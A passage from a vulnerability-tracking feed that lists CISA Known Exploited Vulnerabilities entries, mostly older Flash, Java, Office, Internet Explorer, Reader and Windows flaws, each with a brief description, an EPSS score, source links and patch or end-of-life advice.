Race condition in mm/gup.c in the Linux kernel allows local users to escalate privileges.
EPSS 83.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-5195&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-5195: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-5195&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Arbitrary Code Execution Vulnerability
https://kevwire.com/record/CVE-2016-4117
Adobe Flash Player Arbitrary Code Execution Vulnerability (Mar 3, 2022).
An access of resource using incompatible type vulnerability exists within Adobe Flash Player that allows an attacker to perform remote code execution.
EPSS 94.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-4117&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-4117: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-4117&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Arbitrary Code Execution Vulnerability
https://kevwire.com/record/CVE-2016-1019
Adobe Flash Player Arbitrary Code Execution Vulnerability (Mar 3, 2022).
Adobe Flash Player allows remote attackers to cause a denial of service or possibly execute arbitrary code.
EPSS 22.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-1019&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-1019: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-1019&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Secondary Logon Service Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2016-0099
Microsoft Windows Secondary Logon Service Privilege Escalation Vulnerability (Mar 3, 2022).
A privilege escalation vulnerability exists in Microsoft Windows if the Windows Secondary Logon Service fails to properly manage request handles in memory. An attacker who successfully exploited this vulnerability could run arbitrary code as an administrator.
EPSS 37.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0099&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-0099: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0099&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Arbitrary Code Execution Vulnerability
https://kevwire.com/record/CVE-2015-7645
Adobe Flash Player Arbitrary Code Execution Vulnerability (Mar 3, 2022).
Adobe Flash Player allows remote attackers to execute arbitrary code via a crafted SWF file.
EPSS 65.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-7645&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-7645: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-7645&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2015-5119
Adobe Flash Player Use-After-Free Vulnerability (Mar 3, 2022).
A use-after-free vulnerability exists within the ActionScript 3 ByteArray class in Adobe Flash Player that allows an attacker to perform remote code execution.
EPSS 98.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-5119&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-5119: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-5119&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Java SE Integrity Check Vulnerability
https://kevwire.com/record/CVE-2015-4902
Oracle Java SE Integrity Check Vulnerability (Mar 3, 2022).
Unspecified vulnerability in Oracle Java SE allows remote attackers to affect integrity via Unknown vectors related to deployment.
EPSS 13.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-4902&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-4902: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-4902&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2015-3043
Adobe Flash Player Memory Corruption Vulnerability (Mar 3, 2022).
A memory corruption vulnerability exists in Adobe Flash Player that allows an attacker to perform remote code execution.
EPSS 73.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-3043&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-3043: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-3043&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Java SE and Java SE Embedded Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2015-2590
Oracle Java SE and Java SE Embedded Remote Code Execution Vulnerability (Mar 3, 2022).
An unspecified vulnerability exists within Oracle Java Runtime Environment that allows an attacker to perform remote code execution.
EPSS 25.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2590&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-2590: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2590&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Malformed EPS File Vulnerability
https://kevwire.com/record/CVE-2015-2545
Microsoft Office Malformed EPS File Vulnerability (Mar 3, 2022).
Microsoft Office allows remote attackers to execute arbitrary code via a crafted EPS image.
EPSS 85.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2545&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-2545: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2545&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft PowerPoint Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2015-2424
Microsoft PowerPoint Memory Corruption Vulnerability (Mar 3, 2022).
Microsoft PowerPoint allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted Office document.
EPSS 40.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2424&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-2424: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2424&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft ATM Font Driver Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2015-2387
Microsoft ATM Font Driver Privilege Escalation Vulnerability (Mar 3, 2022).
ATMFD.DLL in the Adobe Type Manager Font Driver in Microsoft Windows Server allows local users to gain privileges via a crafted application.
EPSS 34.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2387&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-2387: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2387&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2015-1701
Microsoft Win32k Privilege Escalation Vulnerability (Mar 3, 2022).
An unspecified vulnerability exists in the Win32k.sys kernel-mode driver in Microsoft Windows Server that allows a local attacker to execute arbitrary code with elevated privileges.
EPSS 55.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1701&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-1701: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1701&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2015-1642
Microsoft Office Memory Corruption Vulnerability (Mar 3, 2022).
Microsoft Office contains a memory corruption vulnerability that allows remote attackers to execute arbitrary code via a crafted document.
EPSS 53.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1642&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-1642: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1642&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Object Linking & Embedding (OLE) Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2014-4114
Microsoft Windows Object Linking & Embedding (OLE) Remote Code Execution Vulnerability (Mar 3, 2022).
A vulnerability exists in Windows Object Linking & Embedding (OLE) that could allow remote code execution if a user opens a file that contains a specially crafted OLE object.
EPSS 81.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-4114&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-4114: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-4114&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Reader and Acrobat Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2014-0496
Adobe Reader and Acrobat Use-After-Free Vulnerability (Mar 3, 2022).
Adobe Reader and Acrobat contain a use-after-free vulnerability which can allow for code execution.
EPSS 40.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0496&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-0496: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0496&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2013-5065
Microsoft Windows Kernel Privilege Escalation Vulnerability (Mar 3, 2022).
Microsoft Windows NDProxy.sys in the kernel contains an improper input validation vulnerability which can allow a local attacker to escalate privileges.
EPSS 34.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-5065&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-5065: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-5065&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2013-3897
Microsoft Internet Explorer Use-After-Free Vulnerability (Mar 3, 2022).
A use-after-free vulnerability exists within CDisplayPointer in Microsoft Internet Explorer that allows an attacker to remotely execute arbitrary code.
EPSS 77.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3897&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-3897: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3897&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Reader and Acrobat Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2013-3346
Adobe Reader and Acrobat Memory Corruption Vulnerability (Mar 3, 2022).
Adobe Reader and Acrobat contain a memory corruption vulnerability which can allow attackers to execute arbitrary code or cause a denial of service.
EPSS 78.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3346&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-3346: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3346&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Mozilla Firefox Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2013-1675
Mozilla Firefox Information Disclosure Vulnerability (Mar 3, 2022).
Mozilla Firefox does not properly initialize data structures for the nsDOMSVGZoomEvent::mPreviousScale and nsDOMSVGZoomEvent::mNewScale functions, which allows remote attackers to obtain sensitive information from process memory via a crafted web site.
EPSS 6.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-1675&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-1675: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-1675&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2013-1347
Microsoft Internet Explorer Remote Code Execution Vulnerability (Mar 3, 2022).
This vulnerability may corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user within Internet Explorer.
EPSS 77.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-1347&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-1347: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-1347&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Reader Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2013-0641
Adobe Reader Buffer Overflow Vulnerability (Mar 3, 2022).
A buffer overflow vulnerability exists in Adobe Reader which allows an attacker to perform remote code execution.
EPSS 32.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0641&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-0641: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0641&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Reader and Acrobat Memory Corruption Vulnerability
https://kevwire.com/record/CVE-2013-0640
Adobe Reader and Acrobat Memory Corruption Vulnerability (Mar 3, 2022).
An memory corruption vulnerability exists in the acroform.dll in Adobe Reader that allows an attacker to perform remote code execution.
EPSS 86.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0640&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-0640: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0640&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe ColdFusion Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2013-0632
Adobe ColdFusion Authentication Bypass Vulnerability (Mar 3, 2022).
An authentication bypass vulnerability exists in Adobe ColdFusion which could result in an unauthorized user gaining administrative access.
EPSS 93.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0632&date=2026-10-25).
Sources:
CISA KEV entry CVE-2013-0632: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0632&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability
https://kevwire.com/record/CVE-2012-4681
Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability (Mar 3, 2022).
The Java Runtime Environment (JRE) component in Oracle Java SE allow for remote code execution.
EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-4681&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-4681: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-4681&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Office MSCOMCTL.OCX Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2012-1856
Microsoft Office MSCOMCTL.OCX Remote Code Execution Vulnerability (Mar 3, 2022).
The TabStrip ActiveX control in the Common Controls in MSCOMCTL.OCX in Microsoft Office allows remote attackers to execute arbitrary code via a crafted (1) document or (2) web page that triggers system-state corruption.
EPSS 72.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1856&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-1856: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1856&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability
https://kevwire.com/record/CVE-2012-1723
Oracle Java SE Runtime Environment (JRE) Arbitrary Code Execution Vulnerability (Mar 3, 2022).
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE allows remote attackers to affect confidentiality, integrity, and availability via Unknown vectors related to Hotspot.
EPSS 93.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-1723&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-1723: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-1723&date=2026-10-25
CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2022; federal due date Mar 24, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Adobe Flash Player Arbitrary Code Execution Vulnerability
